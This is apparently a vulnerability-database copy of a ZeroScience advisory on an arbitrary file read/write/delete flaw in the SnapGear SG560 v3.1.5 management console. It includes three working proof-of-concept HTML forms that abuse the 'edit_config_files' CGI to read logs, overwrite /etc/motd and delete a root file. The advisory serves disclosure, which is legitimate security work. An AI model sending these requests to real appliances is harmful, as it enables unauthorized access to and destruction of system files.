Lucene search
K

Secure Computing SnapGear Management Console SG560 v3.1.5 Arbitrary File Read/Write

🗓️ 04 Jun 2020 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 52 Views

SnapGear SG560 v3.1.5 File Read/Write Vulnerability in Management Console allows unauthorized access and manipulation of system file

Related
Code
<html><body><p>Secure Computing SnapGear Management Console SG560 v3.1.5 Arbitrary File Read/Write


Vendor: Secure Computing Corp.
Product web page: http://www.securecomputing.com
Affected version: 3.1.5u1

Summary: The SG gateway appliance range provides Internet security and
privacy of communications for small and medium enterprises, and branch 
offices. It simply and securely connects your office to the Internet,
and with its robust stateful firewall, shields your computers from
external threats.

Desc: The application allows the currently logged-in user to edit the
configuration files in the system using the CGI executable 'edit_config_files'
in /cgi-bin/cgix/. The files that are allowed to be modified (read/write/delete)
are located in the /etc/config/ directory. An attacker can manipulate
the POST request parameters to escape from the restricted environment
by using absolute path and start reading, writing and deleting arbitrary
files on the system.

Tested on: fnord/1.9
           Apache 1.3.27 (Unix)
           Linux 2.4.31


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5568
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5568.php


14.05.2020

--


Read:
-----

  </p>
<form action="http://10.0.2.2/cgi-bin/cgix/edit_config_files" method="POST">
<input name=".form" type="hidden" value="choices"/>
<input name=".page" type="hidden" value="select_file"/>
<input name="name$1337" type="hidden" value="/var/log/messages"/>
<input name="modify$1337" type="hidden" value="1"/>
<input name=".defaultname" type="hidden" value="newitem"/>
<input type="submit" value="Read"/>
</form>
  



Write/overwrite/move:
---------------------

  
    <form action="http://10.0.2.2/cgi-bin/cgix/edit_config_files" method="POST">
<input name=".form" type="hidden" value="edit"/>
<input name=".page" type="hidden" value="edit_file"/>
<input name="enabled$0" type="hidden" value=""/>
<input name="name$0" type="hidden" value="/etc/motd"/>
<input name="mode$0" type="hidden" value=""/>
<input name="filename" type="hidden" value="/etc/motd"/>
<input name="filecontents" type="hidden" value="pwned"/>
<input name="finish" type="hidden" value="Finish"/>
<input name=".defaultname" type="hidden" value="finish"/>
<input type="submit" value="Write"/>
</form>
  



Delete:
-------

  
    <form action="http://10.0.2.2/cgi-bin/cgix/edit_config_files" method="POST">
<input name=".form" type="hidden" value="choices"/>
<input name=".page" type="hidden" value="select_file"/>
<input name="name$251" type="hidden" value="/root/.secret"/>
<input name="delete$251" type="hidden" value="1"/>
<input name=".defaultname" type="hidden" value="newitem"/>
<input type="submit" value="Delete"/>
</form>
</body></html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation